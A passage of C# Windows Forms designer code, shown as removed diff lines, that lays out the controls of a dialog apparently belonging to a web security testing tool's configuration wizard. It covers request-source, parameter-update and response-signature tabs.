System.Windows.Forms.TextBox(); - this.ParameterNameTBLbl = new System.Windows.Forms.Label(); - this.ParameterTypeCombo = new System.Windows.Forms.ComboBox(); - this.ParameterTypeComboLbl = new System.Windows.Forms.Label(); - this.SubmitParameterAnswerBtn = new System.Windows.Forms.Button(); - this.ParametersAnswerGrid = new System.Windows.Forms.DataGridView(); - this.ParameterSectionColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ParameterNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.UpdateFromColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ParseResponseColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.RegexColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.HintColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ResponseSignatureTab = new System.Windows.Forms.TabPage(); - this.SignatureSubmitBtn = new System.Windows.Forms.Button(); - this.LocationSignatureKeywordTB = new System.Windows.Forms.TextBox(); - this.LocationSignatureTypeSelectCombo = new System.Windows.Forms.ComboBox(); - this.label6 = new System.Windows.Forms.Label(); - this.FullResponseSignatureSecondPanel = new System.Windows.Forms.Panel(); - this.BodySignatureKeywordTB = new System.Windows.Forms.TextBox(); - this.BodySignatureTypeSelectCombo = new System.Windows.Forms.ComboBox(); - this.label8 = new System.Windows.Forms.Label(); - this.TitleSignatureKeywordTB = new System.Windows.Forms.TextBox(); - this.TitleSignatureTypeSelectCombo = new System.Windows.Forms.ComboBox(); - this.label7 = new System.Windows.Forms.Label(); - this.UseTitleSignatureCB = new System.Windows.Forms.CheckBox(); - this.UseBodySignatureCB = new System.Windows.Forms.CheckBox(); - this.UseLocationSignatureCB = new System.Windows.Forms.CheckBox(); - this.FullResponseSignatureFirstPanel = new System.Windows.Forms.Panel(); - this.LoggedOutResponseSignatureRB = new System.Windows.Forms.RadioButton(); - this.LoggedInResponseSignatureRB = new System.Windows.Forms.RadioButton(); - this.SignatureAnswerMsgTB = new System.Windows.Forms.TextBox(); - this.SignatureResponseCodeTB = new System.Windows.Forms.TextBox(); - this.label5 = new System.Windows.Forms.Label(); - this.SelectOptionTab = new System.Windows.Forms.TabPage(); - this.SelectOptionAnswerMsgTB = new System.Windows.Forms.TextBox(); - this.SpecialOptionBtn = new System.Windows.Forms.Button(); - this.SelectedOptionSubmitBtn = new System.Windows.Forms.Button(); - this.OptionsGrid = new System.Windows.Forms.DataGridView(); - this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.OptionNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ShowPseudoCodeTab = new System.Windows.Forms.TabPage(); - this.ShowPseudoCodeGoToMainMenuBtn = new System.Windows.Forms.Button(); - this.label12 = new System.Windows.Forms.Label(); - this.ShowPseudoCodeTB = new System.Windows.Forms.TextBox(); - this.BaseSplit.Panel1.SuspendLayout(); - this.BaseSplit.Panel2.SuspendLayout(); - this.BaseSplit.SuspendLayout(); - this.AnswerTabs.SuspendLayout(); - this.TextAnswerTab.SuspendLayout(); - this.RequestSourceAnswerTab.SuspendLayout(); - this.ParameterAnswerTab.SuspendLayout(); - this.UserHintPanel.SuspendLayout(); - this.HowToParseResponsePanel.SuspendLayout(); - this.HowToUpdateParameterPanel.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ParametersAnswerGrid)).BeginInit(); - this.ResponseSignatureTab.SuspendLayout(); - this.FullResponseSignatureSecondPanel.SuspendLayout(); - this.FullResponseSignatureFirstPanel.SuspendLayout(); - this.SelectOptionTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.OptionsGrid)).BeginInit(); - this.ShowPseudoCodeTab.SuspendLayout(); - this.SuspendLayout(); - // - // AnswerTB - // - this.AnswerTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.AnswerTB.Location = new System.Drawing.Point(94, 106); - this.AnswerTB.Name = "AnswerTB"; - this.AnswerTB.Size = new System.Drawing.Size(602, 20); - this.AnswerTB.TabIndex = 0; - this.AnswerTB.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.AnswerTB_KeyPress); - // - // label1 - // - this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(8, 109); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(80, 13); - this.label1.TabIndex = 1; - this.label1.Text = "One Line Input:"; - // - // BigAnswerTB - // - this.BigAnswerTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BigAnswerTB.Location = new System.Drawing.Point(94, 141); - this.BigAnswerTB.Multiline = true; - this.BigAnswerTB.Name = "BigAnswerTB"; - this.BigAnswerTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.BigAnswerTB.Size = new System.Drawing.Size(602, 106); - this.BigAnswerTB.TabIndex = 2; - // - // label2 - // - this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(10, 141); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(78, 13); - this.label2.TabIndex = 3; - this.label2.Text = "Multi-line Input:"; - // - // SubmitAnswerBtn - // - this.SubmitAnswerBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.SubmitAnswerBtn.Location = new System.Drawing.Point(702, 106); - this.SubmitAnswerBtn.Name = "SubmitAnswerBtn"; - this.SubmitAnswerBtn.Size = new System.Drawing.Size(71, 141); - this.SubmitAnswerBtn.TabIndex = 4; - this.SubmitAnswerBtn.Text = "Submit"; - this.SubmitAnswerBtn.UseVisualStyleBackColor = true; - this.SubmitAnswerBtn.Click += new System.EventHandler(this.SubmitAnswerBtn_Click); - // - // QuestionRTB - // - this.QuestionRTB.BackColor = System.Drawing.Color.White; - this.QuestionRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.QuestionRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.QuestionRTB.Location = new System.Drawing.Point(0, 0); - this.QuestionRTB.Margin = new System.Windows.Forms.Padding(0); - this.QuestionRTB.Name = "QuestionRTB"; - this.QuestionRTB.ReadOnly = true; - this.QuestionRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.QuestionRTB.Size = new System.Drawing.Size(784, 281); - this.QuestionRTB.TabIndex = 5; - this.QuestionRTB.Text = ""; - // - // StatusTB - // - this.StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.StatusTB.BackColor = System.Drawing.SystemColors.Control; - this.StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.StatusTB.ForeColor = System.Drawing.Color.Red; - this.StatusTB.Location = new System.Drawing.Point(0, 0); - this.StatusTB.Margin = new System.Windows.Forms.Padding(0); - this.StatusTB.Multiline = true; - this.StatusTB.Name = "StatusTB"; - this.StatusTB.ReadOnly = true; - this.StatusTB.Size = new System.Drawing.Size(776, 45); - this.StatusTB.TabIndex = 6; - // - // BaseSplit - // - this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseSplit.Location = new System.Drawing.Point(0, 0); - this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.BaseSplit.Name = "BaseSplit"; - this.BaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // BaseSplit.Panel1 - // - this.BaseSplit.Panel1.Controls.Add(this.QuestionRTB); - // - // BaseSplit.Panel2 - // - this.BaseSplit.Panel2.Controls.Add(this.AnswerTabs); - this.BaseSplit.Size = new System.Drawing.Size(784, 562); - this.BaseSplit.SplitterDistance = 281; - this.BaseSplit.SplitterWidth = 2; - this.BaseSplit.TabIndex = 7; - // - // AnswerTabs - // - this.AnswerTabs.Appearance = System.Windows.Forms.TabAppearance.FlatButtons; - this.AnswerTabs.Controls.Add(this.TextAnswerTab); - this.AnswerTabs.Controls.Add(this.RequestSourceAnswerTab); - this.AnswerTabs.Controls.Add(this.ParameterAnswerTab); - this.AnswerTabs.Controls.Add(this.ResponseSignatureTab); - this.AnswerTabs.Controls.Add(this.SelectOptionTab); - this.AnswerTabs.Controls.Add(this.ShowPseudoCodeTab); - this.AnswerTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.AnswerTabs.Location = new System.Drawing.Point(0, 0); - this.AnswerTabs.Margin = new System.Windows.Forms.Padding(0); - this.AnswerTabs.Multiline = true; - this.AnswerTabs.Name = "AnswerTabs"; - this.AnswerTabs.Padding = new System.Drawing.Point(0, 0); - this.AnswerTabs.SelectedIndex = 0; - this.AnswerTabs.Size = new System.Drawing.Size(784, 279); - this.AnswerTabs.TabIndex = 0; - this.AnswerTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.AnswerTabs_Selecting); - // - // TextAnswerTab - // - this.TextAnswerTab.Controls.Add(this.StatusTB); - this.TextAnswerTab.Controls.Add(this.SubmitAnswerBtn); - this.TextAnswerTab.Controls.Add(this.AnswerTB); - this.TextAnswerTab.Controls.Add(this.label2); - this.TextAnswerTab.Controls.Add(this.label1); - this.TextAnswerTab.Controls.Add(this.BigAnswerTB); - this.TextAnswerTab.Location = new System.Drawing.Point(4, 25); - this.TextAnswerTab.Margin = new System.Windows.Forms.Padding(0); - this.TextAnswerTab.Name = "TextAnswerTab"; - this.TextAnswerTab.Size = new System.Drawing.Size(776, 250); - this.TextAnswerTab.TabIndex = 0; - this.TextAnswerTab.Text = "Enter Text"; - this.TextAnswerTab.UseVisualStyleBackColor = true; - // - // RequestSourceAnswerTab - // - this.RequestSourceAnswerTab.Controls.Add(this.label11); - this.RequestSourceAnswerTab.Controls.Add(this.label10); - this.RequestSourceAnswerTab.Controls.Add(this.label9); - this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceNameTB); - this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceAnswerMsgTB); - this.RequestSourceAnswerTab.Controls.Add(this.label4); - this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceIdTB); - this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceAnswerSubmitBtn); - this.RequestSourceAnswerTab.Controls.Add(this.label3); - this.RequestSourceAnswerTab.Controls.Add(this.RequestSourceCombo); - this.RequestSourceAnswerTab.Location = new System.Drawing.Point(4, 25); - this.RequestSourceAnswerTab.Name = "RequestSourceAnswerTab"; - this.RequestSourceAnswerTab.Size = new System.Drawing.Size(776, 250); - this.RequestSourceAnswerTab.TabIndex = 2; - this.RequestSourceAnswerTab.Text = "Specify Request Source"; - this.RequestSourceAnswerTab.UseVisualStyleBackColor = true; - // - // label11 - // - this.label11.AutoSize = true; - this.label11.Location = new System.Drawing.Point(289, 102); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(42, 13); - this.label11.TabIndex = 24; - this.label11.Text = "request"; - // - // label10 - // - this.label10.AutoSize = true; - this.label10.Location = new System.Drawing.Point(21, 123); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(537, 26); - this.label10.TabIndex = 23; - this.label10.Text = resources.GetString("label10.Text"); - // - // label9 - // - this.label9.AutoSize = true; - this.label9.Location = new System.Drawing.Point(34, 101); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(81, 13); - this.label9.TabIndex = 22; - this.label9.Text = "Request Name:"; - // - // RequestSourceNameTB - // - this.RequestSourceNameTB.BackColor = System.Drawing.Color.White; - this.RequestSourceNameTB.Location = new System.Drawing.Point(118, 98); - this.RequestSourceNameTB.Name = "RequestSourceNameTB"; - this.RequestSourceNameTB.Size = new System.Drawing.Size(170, 20); - this.RequestSourceNameTB.TabIndex = 21; - this.RequestSourceNameTB.TextChanged += new System.EventHandler(this.RequestSourceNameTB_TextChanged); - // - // RequestSourceAnswerMsgTB - // - this.RequestSourceAnswerMsgTB.BackColor = System.Drawing.SystemColors.Control; - this.RequestSourceAnswerMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.RequestSourceAnswerMsgTB.ForeColor = System.Drawing.Color.Red; - this.RequestSourceAnswerMsgTB.Location = new System.Drawing.Point(3, 4); - this.RequestSourceAnswerMsgTB.Name = "RequestSourceAnswerMsgTB"; - this.RequestSourceAnswerMsgTB.ReadOnly = true; - this.RequestSourceAnswerMsgTB.Size = new System.Drawing.Size(770, 13); - this.RequestSourceAnswerMsgTB.TabIndex = 20; - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(74, 75); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(42, 13); - this.label4.TabIndex = 4; - this.label4.Text = "Log ID:"; - // - // RequestSourceIdTB - // - this.RequestSourceIdTB.BackColor = System.Drawing.Color.White; - this.RequestSourceIdTB.Location = new System.Drawing.Point(119, 72); - this.RequestSourceIdTB.Name = "RequestSourceIdTB"; - this.RequestSourceIdTB.Size = new System.Drawing.Size(80, 20); - this.RequestSourceIdTB.TabIndex = 3; - this.RequestSourceIdTB.TextChanged += new System.EventHandler(this.RequestSourceIdTB_TextChanged); - // - // RequestSourceAnswerSubmitBtn - // - this.RequestSourceAnswerSubmitBtn.Location = new System.Drawing.Point(376, 75); - this.RequestSourceAnswerSubmitBtn.Name = "RequestSourceAnswerSubmitBtn"; - this.RequestSourceAnswerSubmitBtn.Size = new System.Drawing.Size(200, 46); - this.RequestSourceAnswerSubmitBtn.TabIndex = 2; - this.RequestSourceAnswerSubmitBtn.Text = "Done"; - this.RequestSourceAnswerSubmitBtn.UseVisualStyleBackColor = true; - this.RequestSourceAnswerSubmitBtn.Click += new System.EventHandler(this.RequestSourceAnswerSubmitBtn_Click); - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(8, 46); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(108, 13); - this.label3.TabIndex = 1; - this.label3.Text = "Request Log Source:"; - // - // RequestSourceCombo - // - this.RequestSourceCombo.FormattingEnabled = true; - this.RequestSourceCombo.Items.AddRange(new object[] { - "Proxy", - "Test", - "Shell", - "Scan", - "Probe"}); - this.RequestSourceCombo.Location = new System.Drawing.Point(118, 45); - this.RequestSourceCombo.Name = "RequestSourceCombo"; - this.RequestSourceCombo.Size = new System.Drawing.Size(170, 21); - this.RequestSourceCombo.TabIndex = 0; - this.RequestSourceCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.RequestSourceCombo_KeyPress); - // - // ParameterAnswerTab - // - this.ParameterAnswerTab.Controls.Add(this.DeleteParameterAnswerEntryLL); - this.ParameterAnswerTab.Controls.Add(this.EditParameterAnswerEntryLL); - this.ParameterAnswerTab.Controls.Add(this.AddParameterAnswerEntryLL); - this.ParameterAnswerTab.Controls.Add(this.UserHintPanel); - this.ParameterAnswerTab.Controls.Add(this.HowToParseResponsePanel); - this.ParameterAnswerTab.Controls.Add(this.HowToUpdateParameterPanel); - this.ParameterAnswerTab.Controls.Add(this.ParametersDescLL); - this.ParameterAnswerTab.Controls.Add(this.ParametersAnswerMsgTB); - this.ParameterAnswerTab.Controls.Add(this.ParameterOneLbl); - this.ParameterAnswerTab.Controls.Add(this.ParameterNameTB); - this.ParameterAnswerTab.Controls.Add(this.ParameterNameTBLbl); - this.ParameterAnswerTab.Controls.Add(this.ParameterTypeCombo); - this.ParameterAnswerTab.Controls.Add(this.ParameterTypeComboLbl); - this.ParameterAnswerTab.Controls.Add(this.SubmitParameterAnswerBtn); - this.ParameterAnswerTab.Controls.Add(this.ParametersAnswerGrid); - this.ParameterAnswerTab.Location = new System.Drawing.Point(4, 25); - this.ParameterAnswerTab.Name = "ParameterAnswerTab"; - this.ParameterAnswerTab.Size = new System.Drawing.Size(776, 250); - this.ParameterAnswerTab.TabIndex = 3; - this.ParameterAnswerTab.Text = "Specify Parameters"; - this.ParameterAnswerTab.UseVisualStyleBackColor = true; - // - // DeleteParameterAnswerEntryLL - // - this.DeleteParameterAnswerEntryLL.AutoSize = true; - this.DeleteParameterAnswerEntryLL.Location = new System.Drawing.Point(691, 193); - this.DeleteParameterAnswerEntryLL.Name = "DeleteParameterAnswerEntryLL"; - this.DeleteParameterAnswerEntryLL.Size = new System.Drawing.Size(65, 13); - this.DeleteParameterAnswerEntryLL.TabIndex = 26; - this.DeleteParameterAnswerEntryLL.TabStop = true; - this.DeleteParameterAnswerEntryLL.Text = "Delete Entry"; - this.DeleteParameterAnswerEntryLL.Visible = false; - this.DeleteParameterAnswerEntryLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.DeleteParameterAnswerEntryLL_LinkClicked); - // - // EditParameterAnswerEntryLL - // - this.EditParameterAnswerEntryLL.AutoSize = true; - this.EditParameterAnswerEntryLL.Location = new System.Drawing.Point(691, 174); - this.EditParameterAnswerEntryLL.Name = "EditParameterAnswerEntryLL"; - this.EditParameterAnswerEntryLL.Size = new System.Drawing.Size(52, 13); - this.EditParameterAnswerEntryLL.TabIndex = 25; - this.EditParameterAnswerEntryLL.TabStop = true; - this.EditParameterAnswerEntryLL.Text = "Edit Entry"; - this.EditParameterAnswerEntryLL.Visible = false; - this.EditParameterAnswerEntryLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.EditParameterAnswerEntryLL_LinkClicked); - // - // AddParameterAnswerEntryLL - // - this.AddParameterAnswerEntryLL.AutoSize = true; - this.AddParameterAnswerEntryLL.Location = new System.Drawing.Point(691, 120); - this.AddParameterAnswerEntryLL.Name = "AddParameterAnswerEntryLL"; - this.AddParameterAnswerEntryLL.Size = new System.Drawing.Size(53, 13); - this.AddParameterAnswerEntryLL.TabIndex = 24; - this.AddParameterAnswerEntryLL.TabStop = true; - this.AddParameterAnswerEntryLL.Text = "Add Entry"; - this.AddParameterAnswerEntryLL.Visible = false; - this.AddParameterAnswerEntryLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.AddParameterAnswerEntryLL_LinkClicked); - // - // UserHintPanel - // - this.UserHintPanel.Controls.Add(this.ParameterAskUserHintTB); - this.UserHintPanel.Controls.Add(this.ParameterFourLbl); - this.UserHintPanel.Location = new System.Drawing.Point(8, 132); - this.UserHintPanel.Name = "UserHintPanel"; - this.UserHintPanel.Size = new System.Drawing.Size(672, 30); - this.UserHintPanel.TabIndex = 23; - // - // ParameterAskUserHintTB - // - this.ParameterAskUserHintTB.Location = new System.Drawing.Point(137, 4); - this.ParameterAskUserHintTB.Name = "ParameterAskUserHintTB"; - this.ParameterAskUserHintTB.Size = new System.Drawing.Size(532, 20); - this.ParameterAskUserHintTB.TabIndex = 17; - // - // ParameterFourLbl - // - this.ParameterFourLbl.AutoSize = true; - this.ParameterFourLbl.Location = new System.Drawing.Point(3, 8); - this.ParameterFourLbl.Name = "ParameterFourLbl"; - this.ParameterFourLbl.Size = new System.Drawing.Size(128, 13); - this.ParameterFourLbl.TabIndex = 16; - this.ParameterFourLbl.Text = "Hint to user in the prompt:"; - // - // HowToParseResponsePanel - // - this.HowToParseResponsePanel.Controls.Add(this.ParameterThreeLbl); - this.HowToParseResponsePanel.Controls.Add(this.ParseParameterFromHtmlRB); - this.HowToParseResponsePanel.Controls.Add(this.ParseParameterFromRegexRB); - this.HowToParseResponsePanel.Controls.Add(this.ParameterParseRegexTB); - this.HowToParseResponsePanel.Location = new System.Drawing.Point(8, 94); - this.HowToParseResponsePanel.Name = "HowToParseResponsePanel"; - this.HowToParseResponsePanel.Size = new System.Drawing.Size(672, 32); - this.HowToParseResponsePanel.TabIndex = 22; - // - // ParameterThreeLbl - // - this.ParameterThreeLbl.AutoSize = true; - this.ParameterThreeLbl.Location = new System.Drawing.Point(3, 9); - this.ParameterThreeLbl.Name = "ParameterThreeLbl"; - this.ParameterThreeLbl.Size = new System.Drawing.Size(200, 13); - this.ParameterThreeLbl.TabIndex = 12; - this.ParameterThreeLbl.Text = "How to Parse new value from Response:"; - // - // ParseParameterFromHtmlRB - // - this.ParseParameterFromHtmlRB.AutoSize = true; - this.ParseParameterFromHtmlRB.Checked = true; - this.ParseParameterFromHtmlRB.Location = new System.Drawing.Point(210, 9); - this.ParseParameterFromHtmlRB.Name = "ParseParameterFromHtmlRB"; - this.ParseParameterFromHtmlRB.Size = new System.Drawing.Size(137, 17); - this.ParseParameterFromHtmlRB.TabIndex = 13; - this.ParseParameterFromHtmlRB.TabStop = true; - this.ParseParameterFromHtmlRB.Text = "From HTML Form Fields"; - this.ParseParameterFromHtmlRB.UseVisualStyleBackColor = true; - // - // ParseParameterFromRegexRB - // - this.ParseParameterFromRegexRB.AutoSize = true; - this.ParseParameterFromRegexRB.Location = new System.Drawing.Point(351, 9); - this.ParseParameterFromRegexRB.Name = "ParseParameterFromRegexRB"; - this.ParseParameterFromRegexRB.Size = new System.Drawing.Size(127, 17); - this.ParseParameterFromRegexRB.TabIndex = 14; - this.ParseParameterFromRegexRB.Text = "Parse with this Regex"; - this.ParseParameterFromRegexRB.UseVisualStyleBackColor = true; - this.ParseParameterFromRegexRB.CheckedChanged += new System.EventHandler(this.ParseParameterFromRegexRB_CheckedChanged); - // - // ParameterParseRegexTB - // - this.ParameterParseRegexTB.BackColor = System.Drawing.Color.White; - this.ParameterParseRegexTB.Enabled = false; - this.ParameterParseRegexTB.Location = new System.Drawing.Point(481, 8); - this.ParameterParseRegexTB.Name = "ParameterParseRegexTB"; - this.ParameterParseRegexTB.Size = new System.Drawing.Size(188, 20); - this.ParameterParseRegexTB.TabIndex = 15; - this.ParameterParseRegexTB.TextChanged += new System.EventHandler(this.ParameterParseRegexTB_TextChanged); - // - // HowToUpdateParameterPanel - // - this.HowToUpdateParameterPanel.Controls.Add(this.ParameterSourceFromResponseRB); - this.HowToUpdateParameterPanel.Controls.Add(this.ParameterSourceFromUserRB); - this.HowToUpdateParameterPanel.Controls.Add(this.ParameterTwoLbl); - this.HowToUpdateParameterPanel.Location = new System.Drawing.Point(8, 64); - this.HowToUpdateParameterPanel.Name = "HowToUpdateParameterPanel"; - this.HowToUpdateParameterPanel.Size = new System.Drawing.Size(361, 24); - this.HowToUpdateParameterPanel.TabIndex = 21; - // - // ParameterSourceFromResponseRB - // - this.ParameterSourceFromResponseRB.AutoSize = true; - this.ParameterSourceFromResponseRB.Location = new System.Drawing.Point(174, 4); - this.ParameterSourceFromResponseRB.Name = "ParameterSourceFromResponseRB"; - this.ParameterSourceFromResponseRB.Size = new System.Drawing.Size(99, 17); - this.ParameterSourceFromResponseRB.TabIndex = 10; - this.ParameterSourceFromResponseRB.TabStop = true; - this.ParameterSourceFromResponseRB.Text = "From Response"; - this.ParameterSourceFromResponseRB.UseVisualStyleBackColor = true; - this.ParameterSourceFromResponseRB.CheckedChanged += new System.EventHandler(this.ParameterSourceFromResponseRB_CheckedChanged); - // - // ParameterSourceFromUserRB - // - this.ParameterSourceFromUserRB.AutoSize = true; - this.ParameterSourceFromUserRB.Location = new System.Drawing.Point(281, 4); - this.ParameterSourceFromUserRB.Name = "ParameterSourceFromUserRB"; - this.ParameterSourceFromUserRB.Size = new System.Drawing.Size(68, 17); - this.ParameterSourceFromUserRB.TabIndex = 11; - this.ParameterSourceFromUserRB.TabStop = true; - this.ParameterSourceFromUserRB.Text = "Ask User"; - this.ParameterSourceFromUserRB.UseVisualStyleBackColor = true; - this.ParameterSourceFromUserRB.CheckedChanged += new System.EventHandler(this.ParameterSourceFromUserRB_CheckedChanged); - // - // ParameterTwoLbl - // - this.ParameterTwoLbl.AutoSize = true; - this.ParameterTwoLbl.Location = new System.Drawing.Point(7, 6); - this.ParameterTwoLbl.Name = "ParameterTwoLbl"; - this.ParameterTwoLbl.Size = new System.Drawing.Size(152, 13); - this.ParameterTwoLbl.TabIndex = 9; - this.ParameterTwoLbl.Text = "How to Update this Parameter:"; - // - // ParametersDescLL - // - this.ParametersDescLL.AutoSize = true; - this.ParametersDescLL.Location = new System.Drawing.Point(643, 41); - this.ParametersDescLL.Name = "ParametersDescLL"; - this.ParametersDescLL.Size = new System.Drawing.Size(33, 13); - this.ParametersDescLL.TabIndex = 20; - this.ParametersDescLL.TabStop = true; - this.ParametersDescLL.Text = "Done"; - this.ParametersDescLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ParametersDescLL_LinkClicked); - // - // ParametersAnswerMsgTB - // - this.ParametersAnswerMsgTB.BackColor = System.Drawing.SystemColors.Control; - this.ParametersAnswerMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ParametersAnswerMsgTB.ForeColor = System.Drawing.Color.Red; - this.ParametersAnswerMsgTB.Location = new System.Drawing.Point(3, 4); - this.ParametersAnswerMsgTB.Name = "ParametersAnswerMsgTB"; - this.ParametersAnswerMsgTB.ReadOnly = true; - this.ParametersAnswerMsgTB.Size = new System.Drawing.Size(770, 13); - this.ParametersAnswerMsgTB.TabIndex = 19; - // - // ParameterOneLbl - // - this.ParameterOneLbl.AutoSize = true; - this.ParameterOneLbl.Location = new System.Drawing.Point(8, 40); - this.ParameterOneLbl.Name = "ParameterOneLbl"; - this.ParameterOneLbl.Size = new System.Drawing.Size(108, 13); - this.ParameterOneLbl.TabIndex = 8; - this.ParameterOneLbl.Text = "Parameter to Update:"; - // - // ParameterNameTB - // - this.ParameterNameTB.BackColor = System.Drawing.Color.White; - this.ParameterNameTB.Location = new System.Drawing.Point(444, 38); - this.ParameterNameTB.Name = "ParameterNameTB"; - this.ParameterNameTB.Size = new System.Drawing.Size(193, 20); - this.ParameterNameTB.TabIndex = 7; - this.ParameterNameTB.TextChanged += new System.EventHandler(this.ParameterNameTB_TextChanged); - // - // ParameterNameTBLbl - // - this.ParameterNameTBLbl.AutoSize = true; - this.ParameterNameTBLbl.Location = new System.Drawing.Point(349, 41); - this.ParameterNameTBLbl.Name = "ParameterNameTBLbl"; - this.ParameterNameTBLbl.Size = new System.Drawing.Size(89, 13); - this.ParameterNameTBLbl.TabIndex = 6; - this.ParameterNameTBLbl.Text = "Parameter Name:"; - // - // ParameterTypeCombo - // - this.ParameterTypeCombo.FormattingEnabled = true; - this.ParameterTypeCombo.Items.AddRange(new object[] { - "UrlPathPart", - "Query", - "Body", - "Cookie", - "Header"}); - this.ParameterTypeCombo.Location = new System.Drawing.Point(213, 37); - this.ParameterTypeCombo.Name = "ParameterTypeCombo"; - this.ParameterTypeCombo.Size = new System.Drawing.Size(121, 21); - this.ParameterTypeCombo.TabIndex = 5; - this.ParameterTypeCombo.SelectedIndexChanged += new System.EventHandler(this.ParameterTypeCombo_SelectedIndexChanged); - this.ParameterTypeCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.ParameterTypeCombo_KeyPress); - // - // ParameterTypeComboLbl - // - this.ParameterTypeComboLbl.AutoSize = true; - this.ParameterTypeComboLbl.Location = new System.Drawing.Point(122, 40); - this.ParameterTypeComboLbl.Name = "ParameterTypeComboLbl"; - this.ParameterTypeComboLbl.Size = new System.Drawing.Size(85, 13); - this.ParameterTypeComboLbl.TabIndex = 4; - this.ParameterTypeComboLbl.Text = "Parameter Type:"; - // - // SubmitParameterAnswerBtn - // - this.SubmitParameterAnswerBtn.Location = new System.Drawing.Point(682, 216); - this.SubmitParameterAnswerBtn.Name = "SubmitParameterAnswerBtn"; - this.SubmitParameterAnswerBtn.Size = new System.Drawing.Size(91, 33); - this.SubmitParameterAnswerBtn.TabIndex = 3; - this.SubmitParameterAnswerBtn.Text = "Submit Answer"; - this.SubmitParameterAnswerBtn.UseVisualStyleBackColor = true; - this.SubmitParameterAnswerBtn.Click += new System.EventHandler(this.SubmitParameterAnswerBtn_Click); - // - // ParametersAnswerGrid - // - this.ParametersAnswerGrid.AllowUserToAddRows = false; - this.ParametersAnswerGrid.AllowUserToDeleteRows = false; - this.ParametersAnswerGrid.AllowUserToResizeRows = false; - this.ParametersAnswerGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ParametersAnswerGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; - this.ParametersAnswerGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ParametersAnswerGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ParameterSectionColumn, - this.ParameterNameColumn, - this.UpdateFromColumn, - this.ParseResponseColumn, - this.RegexColumn, - this.HintColumn}); - this.ParametersAnswerGrid.GridColor = System.Drawing.Color.White; - this.ParametersAnswerGrid.Location = new System.Drawing.Point(5, 165); - this.ParametersAnswerGrid.Margin = 